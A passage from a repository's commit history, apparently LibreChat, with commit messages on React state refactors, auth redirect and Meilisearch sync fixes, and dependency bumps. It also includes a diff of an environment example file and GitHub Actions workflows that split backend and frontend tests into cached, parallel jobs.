- Improved overall code clarity and maintainability by ensuring that context values are only recomputed when their dependencies change.

* refactor: Update AgentPanelSwitch to Use Recoil for Agent ID Management

- Refactored AgentPanelSwitch component to utilize Recoil for retrieving the current agent ID, replacing the previous use of chat context.
- Improved state management by ensuring the agent ID is derived from Recoil, enhancing code clarity and maintainability.
- Adjusted useEffect dependencies to reflect the new state management approach, streamlining the component's logic.

* refactor: Enhance useLocalize Hook with useCallback for Improved Performance

- Updated the useLocalize hook to utilize useCallback for the translation function, optimizing performance by preventing unnecessary re-creations of the function on each render.
- Improved code clarity by ensuring that the translation function is memoized, enhancing maintainability and efficiency in localization handling.

* refactor: Rename useCreateConversationAtom to useSetConversationAtom for Clarity

- Updated the hook name from useCreateConversationAtom to useSetConversationAtom to better reflect its functionality in managing conversation state.
- Introduced a new implementation for setting conversation state, enhancing clarity and maintainability in the codebase.
- Adjusted related references in the useNewConvo hook to align with the new naming convention.

* refactor: Enhance useKeyDialog Hook with useMemo and useCallback for Improved Performance

- Updated the useKeyDialog hook to utilize useMemo for returning the dialog state and handlers, optimizing performance by preventing unnecessary recalculations.
- Refactored the onOpenChange function to use useCallback, ensuring it only changes when its dependencies do, enhancing maintainability and clarity in the code.
- Improved overall code structure and readability by streamlining the hook's logic and dependencies.

* feat: Add useRenderChangeLog Hook for Debugging Render Changes

- Introduced a new hook, useRenderChangeLog, that logs changes in tracked values between renders when a debug flag is enabled.
- Utilizes useEffect and useRef to track previous values and identify changes, enhancing debugging capabilities for component renders.
- Provides detailed console output for initial renders and value changes, improving developer insights during the rendering process.

* refactor: Update useSelectAgent Hook for Improved State Management and Performance

- Refactored the useSelectAgent hook to utilize useRecoilCallback for fetching conversation data, enhancing state management and performance.
- Replaced the use of useChatContext with a more efficient approach, streamlining the logic for selecting agents and updating conversations.
- Improved error handling and ensured asynchronous operations are properly awaited, enhancing reliability in agent selection and data fetching processes.

* refactor: Optimize useDefaultConvo Hook with useCallback for Improved Performance

- Refactored the getDefaultConversation function within the useDefaultConvo hook to utilize useCallback, enhancing performance by memoizing the function and preventing unnecessary re-creations on re-renders.
- Streamlined the logic for cleaning input and output in the conversation object, improving code clarity and maintainability.
- Ensured that dependencies for useCallback are correctly set, enhancing the reliability of the hook's behavior.

* refactor: Optimize Agent Components with Memoization for Improved Performance

- Refactored multiple agent-related components (AgentAvatar, AgentCategorySelector, AgentSelect, DeleteButton, FileContext, FileSearch, Files) to utilize React.memo for memoization, enhancing rendering performance by preventing unnecessary re-renders.
- Updated the FileRow component to make setFilesLoading optional, improving flexibility in file handling.
- Streamlined component logic and improved maintainability by ensuring that props are compared efficiently in memoized components.

* refactor: Enhance File Handling and Agent Components for Improved Performance

- Refactored multiple components (DeleteButton, FileContext, FileSearch, Files) to utilize new file handling hooks that separate chat context from file operations, improving performance and maintainability.
- Introduced useFileHandlingNoChatContext and useSharePointFileHandlingNoChatContext hooks to streamline file handling logic, enhancing flexibility in managing file states.
- Updated DeleteButton to improve conversation state management and ensure proper handling of agent deletions, enhancing user experience.
- Optimized imports and component structure for better clarity and organization across the affected files.

* refactor: Enhance useRenderChangeLog Hook with Improved Type Safety and Documentation

- Updated the useRenderChangeLog hook to improve type safety by specifying the value types as string, number, boolean, null, or undefined.
- Enhanced documentation to clarify usage and enablement of the debug feature, ensuring better developer insights during rendering.
- Added a production check to prevent logging in production builds, optimizing performance and maintaining clean console output.

* chore: imports

* refactor: Replace useRecoilCallback with useGetConversation Hook for Improved Clarity and Performance

- Refactored multiple components (AddMultiConvo, ModelSelectorChatContext, FavoritesList, useSelectAgent, usePresets) to utilize the new useGetConversation hook, enhancing clarity and reducing complexity by eliminating the use of useRecoilCallback.
- Streamlined conversation retrieval logic across components, improving maintainability and performance.
- Updated imports and component structure for better organization and readability.

* refactor: Enhance Memoization in DeleteButton Component for Improved Performance

- Updated the memoization logic in the DeleteButton component to include a comparison for the setCurrentAgentId prop, ensuring more efficient re-renders.
- This change improves performance by preventing unnecessary updates when the agent ID and current agent ID remain unchanged.

* chore: fix test

* refactor: Improve Memoization Logic in AgentSelect Component

- Updated the memoization comparison in the AgentSelect component to directly compare agentQuery.data objects, enhancing performance by ensuring accurate re-renders.
- Refactored the useCreateConversationAtom function to streamline the logic for updating conversation keys, improving clarity and maintainability.

* refactor: Simplify State Management in DeleteButton Component

- Removed unnecessary setConversationOption function, streamlining the logic for updating conversation state after agent deletion.
- Updated the conversation state directly within the deleteAgent mutation, improving clarity and maintainability of the component.
- Refactored conversationByKeySelector to directly reference conversationByIndex, enhancing performance and reducing complexity in state retrieval.

* refactor: Remove Unused Conversation Prop from Mention Component

- Eliminated the conversation prop from the Mention component, simplifying its interface and reducing unnecessary dependencies.
- Updated the ChatForm component to reflect this change, enhancing clarity and maintainability of the codebase.
- Introduced useGetConversation hook for improved conversation retrieval logic, streamlining the component's functionality.

* refactor: Simplify File Handling State Management Across Components

- Removed the unused setFilesLoading function from FileContext, FileSearch, and Files components, streamlining the file handling state management.
- Updated the FileHandlingState type to make setFilesLoading optional, enhancing flexibility in file operations.
- Improved memoization logic by directly referencing necessary state properties, ensuring better performance and maintainability.

* refactor: Update ArtifactsContext for Improved State Management

- Replaced the useChatContext hook with direct Recoil state retrieval for isSubmitting, latestMessage, and conversationId, simplifying the context provider's logic.
- Enhanced memoization by ensuring relevant state properties are directly referenced, improving performance and maintainability.
- Streamlined the context value creation to reflect the updated state management approach.

* refactor: Adjust Memoization Logic in ArtifactsContext for Consistency

- Updated the memoization logic in the ArtifactsProvider to ensure the messageId is consistently referenced, improving clarity and maintainability.
- This change enhances the performance of the context provider by ensuring all relevant properties are included in the memoization dependencies.
2026-03-06 00:03:32 -05:00
Danny Avila
c324a8d9e4
refactor: Parallelize CI Workflows with Isolated Caching and Fan-Out Test Jobs (#12088)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run
* refactor: CI Workflow for Backend with Build and Test Jobs

- Updated the GitHub Actions workflow to include a new build job that compiles packages and uploads build artifacts.
- Added separate test jobs for each package (`api`, `data-provider`, and `data-schemas`) to run unit tests after the build process.
- Introduced caching for build artifacts to optimize build times.
- Configured Jest to utilize 50% of available workers for improved test performance across all Jest configurations in the `api`, `data-schemas`, and `packages/api` directories.

* refactor: Update CI Workflow for Backend with Enhanced Build and Cache Management

- Modified the GitHub Actions workflow to improve the build process by separating build and cache steps for `data-provider`, `data-schemas`, and `api` packages.
- Updated artifact upload and download steps to reflect the new naming conventions for better clarity.
- Enhanced caching strategies to optimize build times and ensure efficient artifact management.

* chore: Node Modules Caching in CI Workflow

- Updated the GitHub Actions workflow to implement caching for the `node_modules` directory, improving build efficiency by restoring cached dependencies.
- Adjusted the installation step to conditionally run based on cache availability, optimizing the overall CI process.

* refactor: Enhance CI Workflow for Frontend with Build and Test Jobs

- Updated the GitHub Actions workflow to introduce a structured build process for frontend packages, including separate jobs for building and testing on both Ubuntu and Windows environments.
- Implemented caching strategies for `node_modules` and build artifacts to optimize build times and improve efficiency.
- Added artifact upload and download steps for `data-provider` and `client-package` builds, ensuring that builds are reused across jobs.
- Adjusted Node.js version specification for consistency and reliability across different jobs.

* refactor: Update CI Workflows for Backend and Frontend with Node.js 20.19 and Enhanced Caching

- Updated Node.js version to 20.19 across all jobs in both backend and frontend workflows for consistency.
- Enhanced caching strategies for build artifacts and `node_modules`, increasing retention days from 1 to 2 for better efficiency.
- Adjusted cache keys to include additional files for improved cache hit rates during builds.
- Added conditional installation of dependencies to optimize the CI process.

* chore: Configure Jest to Use 50% of Available Workers Across Client and Data Provider

- Added `maxWorkers: '50%'` setting to Jest configuration files for the client and data provider packages to optimize test performance by utilizing half of the available CPU cores during test execution.

* chore: Enhance Node Modules Caching in CI Workflows

- Updated caching paths in both backend and frontend GitHub Actions workflows to include additional `node_modules` directories for improved dependency management.
- This change optimizes the caching strategy, ensuring that all relevant modules are cached, which can lead to faster build times and more efficient CI processes.

* chore: Update Node Modules Cache Keys in CI Workflows

- Modified cache keys in both backend and frontend GitHub Actions workflows to include the Node.js version (20.19) for improved cache management.
- This change ensures that the caching mechanism is more specific, potentially enhancing cache hit rates and build efficiency.

* chore: Refactor Node Modules Cache Keys in CI Workflows

- Updated cache keys in backend and frontend GitHub Actions workflows to be more specific, distinguishing between frontend and backend caches.
- Removed references to `client/node_modules` in backend workflows to streamline caching paths and improve cache management.
2026-03-05 13:56:07 -05:00
Danny Avila
d74a62ecd5
🕰️ fix: Preserve updatedAt Timestamps During Meilisearch Batch Sync (#12084)
Some checks are pending
Docker Dev Images Build / build (Dockerfile, librechat-dev, node) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile.multi, librechat-dev-api, api-build) (push) Waiting to run
Sync Locize Translations & Create Translation PR / Sync Translation Keys with Locize (push) Waiting to run
Sync Locize Translations & Create Translation PR / Create Translation PR on Version Published (push) Blocked by required conditions
* refactor: Add timestamps option to updateMany in createMeiliMongooseModel

- Updated the updateMany call in createMeiliMongooseModel to include a timestamps option set to false, ensuring that the operation does not modify the document's timestamps during the indexing process. This change improves the accuracy of document state management in MongoDB.

* test: Add tests to ensure updatedAt timestamps are preserved during syncWithMeili

- Introduced new test cases for the processSyncBatch function to verify that the original updatedAt timestamps on conversations and messages remain unchanged after synchronization with Meilisearch. This enhancement ensures data integrity during the indexing process.

* docs: Update comments in createMeiliMongooseModel to clarify timestamp preservation

- Enhanced comments in the createMeiliMongooseModel function to explain the use of the { timestamps: false } option in the updateMany call, ensuring that original conversation/message timestamps are preserved during the indexing process. This change improves code clarity and maintains the integrity of document timestamps.

* test: Enhance Meilisearch sync tests to verify updatedAt timestamp preservation

- Added assertions to ensure that the updatedAt timestamps of documents remain unchanged before and after synchronization with Meilisearch. This update improves the test coverage for the syncWithMeili function, reinforcing data integrity during the indexing process.
2026-03-05 10:40:43 -05:00
Danny Avila
9956a72694
🧭 fix: Subdirectory Deployment Auth Redirect Path Doubling (#12077)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile, librechat-dev, node) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile.multi, librechat-dev-api, api-build) (push) Waiting to run
Sync Locize Translations & Create Translation PR / Sync Translation Keys with Locize (push) Waiting to run
Sync Locize Translations & Create Translation PR / Create Translation PR on Version Published (push) Blocked by required conditions
* fix: subdirectory redirects

* fix: use path-segment boundary check when stripping BASE_URL prefix

A bare `startsWith(BASE_URL)` matches on character prefix, not path
segments. With BASE_URL="/chat", a path like "/chatroom/c/abc" would
incorrectly strip to "room/c/abc" (no leading slash). Guard with an
exact-match-or-slash check: `p === BASE_URL || p.startsWith(BASE_URL + '/')`.

Also removes the dead `BASE_URL !== '/'` guard — module init already
converts '/' to ''.

* test: add path-segment boundary tests and clarify subdirectory coverage

- Add /chatroom, /chatbot, /app/chatroom regression tests to verify
  BASE_URL stripping only matches on segment boundaries
- Clarify useAuthRedirect subdirectory test documents React Router
  basename behavior (BASE_URL stripping tested in api-endpoints-subdir)
- Use `delete proc.browser` instead of undefined assignment for cleanup
- Add rationale to eslint-disable comment for isolateModules require

* fix: use relative path and correct instructions in subdirectory test script

- Replace hardcoded /home/danny/LibreChat/.env with repo-root-relative
  path so the script works from any checkout location
- Update instructions to use production build (npm run build && npm run
  backend) since nginx proxies to :3080 which only serves the SPA after
  a full build, not during frontend:dev on :3090

* fix: skip pointless redirect_to=/ for root path and fix jsdom 26+ compat

buildLoginRedirectUrl now returns plain /login when the resolved path
is root — redirect_to=/ adds no value since / immediately redirects
to /c/new after login anyway.

Also rewrites api-endpoints.spec.ts to use window.history.replaceState
instead of Object.defineProperty(window, 'location', ...) which jsdom
26+ no longer allows.

* test: fix request-interceptor.spec.ts for jsdom 26+ compatibility

Switch from jsdom to happy-dom environment which allows
Object.defineProperty on window.location. jsdom 26+ made
location non-configurable, breaking all 8 tests in this file.

* chore: update browser property handling in api-endpoints-subdir test

Changed the handling of the `proc.browser` property from deletion to setting it to false, ensuring compatibility with the current testing environment.

* chore: update backend restart instructions in test subdirectory setup script

Changed the instruction for restarting the backend from "npm run backend:dev" to "npm run backend" to reflect the correct command for the current setup.

* refactor: ensure proper cleanup in loadModuleWithBase function

Wrapped the module loading logic in a try-finally block to guarantee that the `proc.browser` property is reset to false and the base element is removed, improving reliability in the testing environment.

* refactor: improve browser property handling in loadModuleWithBase function

Revised the management of the `proc.browser` property to store the original value before modification, ensuring it is restored correctly after module loading. This enhances the reliability of the testing environment.
2026-03-05 01:38:44 -05:00
Danny Avila
afb35103f1
📦 chore: Bump multer to v2.1.1
- Updated `multer` dependency from version 2.1.0 to 2.1.1 in both package.json and package-lock.json to incorporate the latest improvements and fixes.
2026-03-04 21:49:13 -05:00
Danny Avila
0ef369af9b
📦 chore: npm audit bump (#12074)
* chore: npm audit

- Bumped versions for several packages: `@hono/node-server` to 1.19.10, `@tootallnate/once` to 3.0.1, `hono` to 4.12.5, `serialize-javascript` to 7.0.4, and `svgo` to 2.8.2.
- Removed deprecated `@trysound/sax` package from package-lock.json.
- Updated integrity hashes and resolved URLs in package-lock.json to reflect the new versions.

* chore: update dependencies and package versions

- Bumped `jest-environment-jsdom` to version 30.2.0 in both package.json and client/package.json.
- Updated related Jest packages to version 30.2.0 in package-lock.json, ensuring compatibility with the latest features and fixes.
- Added `svgo` package with version 2.8.2 to package.json for improved SVG optimization.

* chore: add @happy-dom/jest-environment and update test files

- Added `@happy-dom/jest-environment` version 20.8.3 to `package.json` and `package-lock.json` for improved testing environment.
- Updated test files to utilize the new Jest environment, replacing mock implementations of `window.location` with `window.history.replaceState` for better clarity and maintainability.
- Refactored tests in `SourcesErrorBoundary`, `useFocusChatEffect`, `AuthContext`, and `StartupLayout` to enhance reliability and reduce complexity.
2026-03-04 20:25:12 -05:00
Danny Avila
956f8fb6f0
🏆 fix: Longest-or-Exact-Key Match in findMatchingPattern, Remove Deprecated Models (#12073)
* 🔧 fix: Use longest-match in findMatchingPattern, remove deprecated PaLM2/Codey models

findMatchingPattern now selects the longest matching key instead of the
first reverse-order match, preventing cross-provider substring collisions
(e.g., "gpt-5.2-chat-2025-12-11" incorrectly matching Google's "chat-"
pattern instead of OpenAI's "gpt-5.2"). Adds early exit when key length
equals model name length. Reorders aggregateModels spreads so OpenAI is
last (preferred on same-length ties). Removes deprecated PaLM2/Codey
entries from googleModels.

* refactor: re-order models based on more likely usage

* refactor: Improve key matching logic in findMatchingPattern

Updated the findMatchingPattern function to enhance key matching by ensuring case-insensitive comparisons and maintaining the longest match priority. Clarified comments regarding key ordering and performance implications, emphasizing the importance of defining older models first for efficiency and the handling of same-length ties. This refactor aims to improve code clarity and maintainability.

* test: Enhance findMatchingPattern tests for edge cases and performance

Added new test cases to the findMatchingPattern function, covering scenarios such as empty model names, case-insensitive matching, and performance optimizations. Included checks for longest match priority and ensured deprecated PaLM2/Codey models are no longer present in token entries. This update aims to improve test coverage and validate the function's behavior under various conditions.

* test: Update findMatchingPattern test to use last key for exact match validation

Modified the test for findMatchingPattern to utilize the last key from the openAIMap for exact match checks, ensuring the test accurately reflects the expected behavior of the function. This change enhances the clarity and reliability of the test case.
2026-03-04 19:34:13 -05:00
github-actions[bot]
c6dba9f0a1
🌍 i18n: Update translation.json with latest translations (#12070)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-03-04 19:00:58 -05:00
253 changed files with 18960 additions and 7306 deletions

View file

@ -677,7 +677,8 @@ AZURE_CONTAINER_NAME=files
#========================# #========================#
ALLOW_SHARED_LINKS=true ALLOW_SHARED_LINKS=true
ALLOW_SHARED_LINKS_PUBLIC=true # Allows unauthenticated access to shared links. Defaults to false (auth required) if not set.
ALLOW_SHARED_LINKS_PUBLIC=false
#==============================# #==============================#
# Static File Cache Control # # Static File Cache Control #
@ -849,3 +850,24 @@ OPENWEATHER_API_KEY=
# Skip code challenge method validation (e.g., for AWS Cognito that supports S256 but doesn't advertise it) # Skip code challenge method validation (e.g., for AWS Cognito that supports S256 but doesn't advertise it)
# When set to true, forces S256 code challenge even if not advertised in .well-known/openid-configuration # When set to true, forces S256 code challenge even if not advertised in .well-known/openid-configuration
# MCP_SKIP_CODE_CHALLENGE_CHECK=false # MCP_SKIP_CODE_CHALLENGE_CHECK=false
# Circuit breaker: max connect/disconnect cycles before tripping (per server)
# MCP_CB_MAX_CYCLES=7
# Circuit breaker: sliding window (ms) for counting cycles
# MCP_CB_CYCLE_WINDOW_MS=45000
# Circuit breaker: cooldown (ms) after the cycle breaker trips
# MCP_CB_CYCLE_COOLDOWN_MS=15000
# Circuit breaker: max consecutive failed connection rounds before backoff
# MCP_CB_MAX_FAILED_ROUNDS=3
# Circuit breaker: sliding window (ms) for counting failed rounds
# MCP_CB_FAILED_WINDOW_MS=120000
# Circuit breaker: base backoff (ms) after failed round threshold is reached
# MCP_CB_BASE_BACKOFF_MS=30000
# Circuit breaker: max backoff cap (ms) for exponential backoff
# MCP_CB_MAX_BACKOFF_MS=300000

View file

@ -9,40 +9,136 @@ on:
paths: paths:
- 'api/**' - 'api/**'
- 'packages/**' - 'packages/**'
env:
NODE_ENV: CI
NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
jobs: jobs:
tests_Backend: build:
name: Run Backend unit tests name: Build packages
timeout-minutes: 60
runs-on: ubuntu-latest runs-on: ubuntu-latest
env: timeout-minutes: 15
MONGO_URI: ${{ secrets.MONGO_URI }}
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
JWT_SECRET: ${{ secrets.JWT_SECRET }}
CREDS_KEY: ${{ secrets.CREDS_KEY }}
CREDS_IV: ${{ secrets.CREDS_IV }}
BAN_VIOLATIONS: ${{ secrets.BAN_VIOLATIONS }}
BAN_DURATION: ${{ secrets.BAN_DURATION }}
BAN_INTERVAL: ${{ secrets.BAN_INTERVAL }}
NODE_ENV: CI
NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- name: Use Node.js 20.x
- name: Use Node.js 20.19
uses: actions/setup-node@v4 uses: actions/setup-node@v4
with: with:
node-version: 20 node-version: '20.19'
cache: 'npm'
- name: Restore node_modules cache
id: cache-node-modules
uses: actions/cache@v4
with:
path: |
node_modules
api/node_modules
packages/api/node_modules
packages/data-provider/node_modules
packages/data-schemas/node_modules
key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
- name: Install dependencies - name: Install dependencies
if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci run: npm ci
- name: Install Data Provider Package - name: Restore data-provider build cache
id: cache-data-provider
uses: actions/cache@v4
with:
path: packages/data-provider/dist
key: build-data-provider-${{ runner.os }}-${{ hashFiles('packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
- name: Build data-provider
if: steps.cache-data-provider.outputs.cache-hit != 'true'
run: npm run build:data-provider run: npm run build:data-provider
- name: Install Data Schemas Package - name: Restore data-schemas build cache
id: cache-data-schemas
uses: actions/cache@v4
with:
path: packages/data-schemas/dist
key: build-data-schemas-${{ runner.os }}-${{ hashFiles('packages/data-schemas/src/**', 'packages/data-schemas/tsconfig*.json', 'packages/data-schemas/rollup.config.js', 'packages/data-schemas/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
- name: Build data-schemas
if: steps.cache-data-schemas.outputs.cache-hit != 'true'
run: npm run build:data-schemas run: npm run build:data-schemas
- name: Build API Package & Detect Circular Dependencies - name: Restore api build cache
id: cache-api
uses: actions/cache@v4
with:
path: packages/api/dist
key: build-api-${{ runner.os }}-${{ hashFiles('packages/api/src/**', 'packages/api/tsconfig*.json', 'packages/api/server-rollup.config.js', 'packages/api/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json', 'packages/data-schemas/src/**', 'packages/data-schemas/tsconfig*.json', 'packages/data-schemas/rollup.config.js', 'packages/data-schemas/package.json') }}
- name: Build api
if: steps.cache-api.outputs.cache-hit != 'true'
run: npm run build:api
- name: Upload data-provider build
uses: actions/upload-artifact@v4
with:
name: build-data-provider
path: packages/data-provider/dist
retention-days: 2
- name: Upload data-schemas build
uses: actions/upload-artifact@v4
with:
name: build-data-schemas
path: packages/data-schemas/dist
retention-days: 2
- name: Upload api build
uses: actions/upload-artifact@v4
with:
name: build-api
path: packages/api/dist
retention-days: 2
circular-deps:
name: Circular dependency checks
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v4
- name: Use Node.js 20.19
uses: actions/setup-node@v4
with:
node-version: '20.19'
- name: Restore node_modules cache
id: cache-node-modules
uses: actions/cache@v4
with:
path: |
node_modules
api/node_modules
packages/api/node_modules
packages/data-provider/node_modules
packages/data-schemas/node_modules
key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
- name: Install dependencies
if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci
- name: Download data-provider build
uses: actions/download-artifact@v4
with:
name: build-data-provider
path: packages/data-provider/dist
- name: Download data-schemas build
uses: actions/download-artifact@v4
with:
name: build-data-schemas
path: packages/data-schemas/dist
- name: Rebuild @librechat/api and check for circular dependencies
run: | run: |
output=$(npm run build:api 2>&1) output=$(npm run build:api 2>&1)
echo "$output" echo "$output"
@ -51,12 +147,7 @@ jobs:
exit 1 exit 1
fi fi
- name: Create empty auth.json file - name: Detect circular dependencies in rollup
run: |
mkdir -p api/data
echo '{}' > api/data/auth.json
- name: Check for Circular dependency in rollup
working-directory: ./packages/data-provider working-directory: ./packages/data-provider
run: | run: |
output=$(npm run rollup:api) output=$(npm run rollup:api)
@ -66,17 +157,201 @@ jobs:
exit 1 exit 1
fi fi
test-api:
name: 'Tests: api'
needs: build
runs-on: ubuntu-latest
timeout-minutes: 15
env:
MONGO_URI: ${{ secrets.MONGO_URI }}
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
JWT_SECRET: ${{ secrets.JWT_SECRET }}
CREDS_KEY: ${{ secrets.CREDS_KEY }}
CREDS_IV: ${{ secrets.CREDS_IV }}
BAN_VIOLATIONS: ${{ secrets.BAN_VIOLATIONS }}
BAN_DURATION: ${{ secrets.BAN_DURATION }}
BAN_INTERVAL: ${{ secrets.BAN_INTERVAL }}
steps:
- uses: actions/checkout@v4
- name: Use Node.js 20.19
uses: actions/setup-node@v4
with:
node-version: '20.19'
- name: Restore node_modules cache
id: cache-node-modules
uses: actions/cache@v4
with:
path: |
node_modules
api/node_modules
packages/api/node_modules
packages/data-provider/node_modules
packages/data-schemas/node_modules
key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
- name: Install dependencies
if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci
- name: Download data-provider build
uses: actions/download-artifact@v4
with:
name: build-data-provider
path: packages/data-provider/dist
- name: Download data-schemas build
uses: actions/download-artifact@v4
with:
name: build-data-schemas
path: packages/data-schemas/dist
- name: Download api build
uses: actions/download-artifact@v4
with:
name: build-api
path: packages/api/dist
- name: Create empty auth.json file
run: |
mkdir -p api/data
echo '{}' > api/data/auth.json
- name: Prepare .env.test file - name: Prepare .env.test file
run: cp api/test/.env.test.example api/test/.env.test run: cp api/test/.env.test.example api/test/.env.test
- name: Run unit tests - name: Run unit tests
run: cd api && npm run test:ci run: cd api && npm run test:ci
- name: Run librechat-data-provider unit tests test-data-provider:
name: 'Tests: data-provider'
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v4
- name: Use Node.js 20.19
uses: actions/setup-node@v4
with:
node-version: '20.19'
- name: Restore node_modules cache
id: cache-node-modules
uses: actions/cache@v4
with:
path: |
node_modules
api/node_modules
packages/api/node_modules
packages/data-provider/node_modules
packages/data-schemas/node_modules
key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
- name: Install dependencies
if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci
- name: Download data-provider build
uses: actions/download-artifact@v4
with:
name: build-data-provider
path: packages/data-provider/dist
- name: Run unit tests
run: cd packages/data-provider && npm run test:ci run: cd packages/data-provider && npm run test:ci
- name: Run @librechat/data-schemas unit tests test-data-schemas:
name: 'Tests: data-schemas'
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v4
- name: Use Node.js 20.19
uses: actions/setup-node@v4
with:
node-version: '20.19'
- name: Restore node_modules cache
id: cache-node-modules
uses: actions/cache@v4
with:
path: |
node_modules
api/node_modules
packages/api/node_modules
packages/data-provider/node_modules
packages/data-schemas/node_modules
key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
- name: Install dependencies
if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci
- name: Download data-provider build
uses: actions/download-artifact@v4
with:
name: build-data-provider
path: packages/data-provider/dist
- name: Download data-schemas build
uses: actions/download-artifact@v4
with:
name: build-data-schemas
path: packages/data-schemas/dist
- name: Run unit tests
run: cd packages/data-schemas && npm run test:ci run: cd packages/data-schemas && npm run test:ci
- name: Run @librechat/api unit tests test-packages-api:
name: 'Tests: @librechat/api'
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v4
- name: Use Node.js 20.19
uses: actions/setup-node@v4
with:
node-version: '20.19'
- name: Restore node_modules cache
id: cache-node-modules
uses: actions/cache@v4
with:
path: |
node_modules
api/node_modules
packages/api/node_modules
packages/data-provider/node_modules
packages/data-schemas/node_modules
key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
- name: Install dependencies
if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci
- name: Download data-provider build
uses: actions/download-artifact@v4
with:
name: build-data-provider
path: packages/data-provider/dist
- name: Download data-schemas build
uses: actions/download-artifact@v4
with:
name: build-data-schemas
path: packages/data-schemas/dist
- name: Download api build
uses: actions/download-artifact@v4
with:
name: build-api
path: packages/api/dist
- name: Run unit tests
run: cd packages/api && npm run test:ci run: cd packages/api && npm run test:ci

View file

@ -2,7 +2,7 @@ name: Frontend Unit Tests
on: on:
pull_request: pull_request:
branches: branches:
- main - main
- dev - dev
- dev-staging - dev-staging
@ -11,51 +11,200 @@ on:
- 'client/**' - 'client/**'
- 'packages/data-provider/**' - 'packages/data-provider/**'
env:
NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
jobs: jobs:
tests_frontend_ubuntu: build:
name: Run frontend unit tests on Ubuntu name: Build packages
timeout-minutes: 60
runs-on: ubuntu-latest runs-on: ubuntu-latest
env: timeout-minutes: 15
NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- name: Use Node.js 20.x
- name: Use Node.js 20.19
uses: actions/setup-node@v4 uses: actions/setup-node@v4
with: with:
node-version: 20 node-version: '20.19'
cache: 'npm'
- name: Restore node_modules cache
id: cache-node-modules
uses: actions/cache@v4
with:
path: |
node_modules
client/node_modules
packages/client/node_modules
packages/data-provider/node_modules
key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
- name: Install dependencies - name: Install dependencies
if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci run: npm ci
- name: Build Client - name: Restore data-provider build cache
run: npm run frontend:ci id: cache-data-provider
uses: actions/cache@v4
with:
path: packages/data-provider/dist
key: build-data-provider-${{ runner.os }}-${{ hashFiles('packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
- name: Build data-provider
if: steps.cache-data-provider.outputs.cache-hit != 'true'
run: npm run build:data-provider
- name: Restore client-package build cache
id: cache-client-package
uses: actions/cache@v4
with:
path: packages/client/dist
key: build-client-package-${{ runner.os }}-${{ hashFiles('packages/client/src/**', 'packages/client/tsconfig*.json', 'packages/client/rollup.config.js', 'packages/client/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
- name: Build client-package
if: steps.cache-client-package.outputs.cache-hit != 'true'
run: npm run build:client-package
- name: Upload data-provider build
uses: actions/upload-artifact@v4
with:
name: build-data-provider
path: packages/data-provider/dist
retention-days: 2
- name: Upload client-package build
uses: actions/upload-artifact@v4
with:
name: build-client-package
path: packages/client/dist
retention-days: 2
test-ubuntu:
name: 'Tests: Ubuntu'
needs: build
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@v4
- name: Use Node.js 20.19
uses: actions/setup-node@v4
with:
node-version: '20.19'
- name: Restore node_modules cache
id: cache-node-modules
uses: actions/cache@v4
with:
path: |
node_modules
client/node_modules
packages/client/node_modules
packages/data-provider/node_modules
key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
- name: Install dependencies
if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci
- name: Download data-provider build
uses: actions/download-artifact@v4
with:
name: build-data-provider
path: packages/data-provider/dist
- name: Download client-package build
